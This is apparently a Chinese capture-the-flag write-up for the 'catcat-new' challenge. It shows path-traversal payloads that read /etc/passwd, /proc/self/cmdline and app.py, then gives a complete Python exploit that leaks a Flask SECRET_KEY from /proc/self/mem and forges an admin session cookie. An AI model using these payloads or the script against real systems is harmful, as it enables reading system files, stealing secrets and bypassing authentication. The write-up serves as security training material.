catcat-new【目录穿透+特殊文件】

发布时间 2023-11-28 21:52:22作者: yuanyy720

catcat-new【目录穿透+特殊文件】

题目界面

点击任何一只猫猫,发现路径泄露:

解题步骤

  • 测试目录遍历漏洞

    路径: ?file=../../../../etc/passwd

    成功读取到passwd文件:

  • 获取当前启动进程的完整命令

    路径:?file=../../../proc/self/cmdline ,发现有一个app.py文件

    注:大部分python编写的网站脚本都是名为app.py

  • 获取app.py内容

    尝试app.py文件的路径,刚好在当前目录的上一级中:?file=../app.py

    读取到的内容如下:

    更改为易读的标准格式:

    import os
    import uuid
    from flask import Flask, request, session, render_template, Markup
    from cat import cat
    
    flag = ""
    app = Flask(
        __name__,
        static_url_path='/',
        static_folder='static'
    )
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
    if os.path.isfile("/flag"):
        flag = cat("/flag")
        os.remove("/flag")
    
    @app.route('/', methods=['GET'])
    def index():
        detailtxt = os.listdir('./details/')
        cats_list = []
        for i in detailtxt:
            cats_list.append(i[:i.index('.')])
    
        return render_template("index.html", cats_list=cats_list, cat=cat)
    
    @app.route('/info', methods=["GET", 'POST'])
    def info():
        filename = "./details/" + request.args.get('file', "")
        start = request.args.get('start', "0")
        end = request.args.get('end', "0")
        name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
        return render_template("detail.html", catname=name, info=cat(filename, start, end))
    
    @app.route('/admin', methods=["GET"])
    def admin_can_list_root():
        if session.get('admin') == 1:
            return flag
        else:
            session['admin'] = 0
            return "NoNoNo"
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', debug=False, port=5637)
    

    由脚本知,定义了一个用于管理员权限验证的路由 /admin,只有当会话中的 admin 值为 1 时,才返回flag。否则,将 admin 值设置为 0,并返回字符串 "NoNoNo"。由此知,此处需要伪造session。

  • 伪造session并获取flag

    伪造session的必要条件是获取密钥SECRET_KEY。由app.py知secret key在app(flask对象,存储在堆上)的config属性中的’SECRET_KEY‘键上。

    此处需要借助几个进程文件相互配合获取堆上的SECRET KEY:

    • /proc/self/mem:得到进程的内存内容
    • /proc/self/maps:获取当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

    利用/proc/self/maps的映射信息来确定读的偏移值,通过/proc/self/mem文件读取密钥。

    附上大佬的脚本:

    # coding=utf-8
    # ----------------------------------
    ###################################
    # Edited by lx56@blog.lxscloud.top
    ###################################
    # ----------------------------------
    import requests
    import re
    import ast, sys
    from abc import ABC
    from flask.sessions import SecureCookieSessionInterface
    
    url = "http://61.147.171.105:54072/"
    
    # 此程序只能运行于Python3以上
    if sys.version_info[0] < 3:  # < 3.0
        raise Exception('Must be using at least Python 3')
    
    # ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
    class MockApp(object):
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            # Encode a Flask session cookie
            try:
                app = MockApp(secret_key)
    						# 使用 ast.literal_eval 将字符串转换为字典
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
    
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
    
    # -------------------------------------------
    
    # 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
    s_key = ""
    bypass = "../.."
    # 请求file路由进行读取
    map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
    # 获取到的响应文本通过'split("\\n")'按行分割,得到一个包含每行内容的列表'map_list'
    map_list = map_list.text.split("\\n")
    # 遍历每行的内容
    for i in map_list:
        # 匹配指定格式的地址
        map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if map_addr:
            start = int(map_addr.group(1), 16)
            end = int(map_addr.group(2), 16)
            print("Found rw addr:", start, "-", end)
    
            # 设置起始和结束位置并读取/proc/self/mem
            res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
            # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
            if "*abcdefgh" in res.text:
                # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
                secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
                if secret_key:
                    print("Secret Key:", secret_key[0])
                    s_key = secret_key[0]
                    break
    
    # 设置session中admin的值为1
    data = '{"admin":1}'
    # 伪造session
    headers = {
        "Cookie": "session=" + FSCM.encode(s_key, data)
    }
    # 请求admin路由
    try:
        flag = requests.get(url + "admin", headers=headers)
        print("Flag is", flag.text)
    except:
        print("Something error")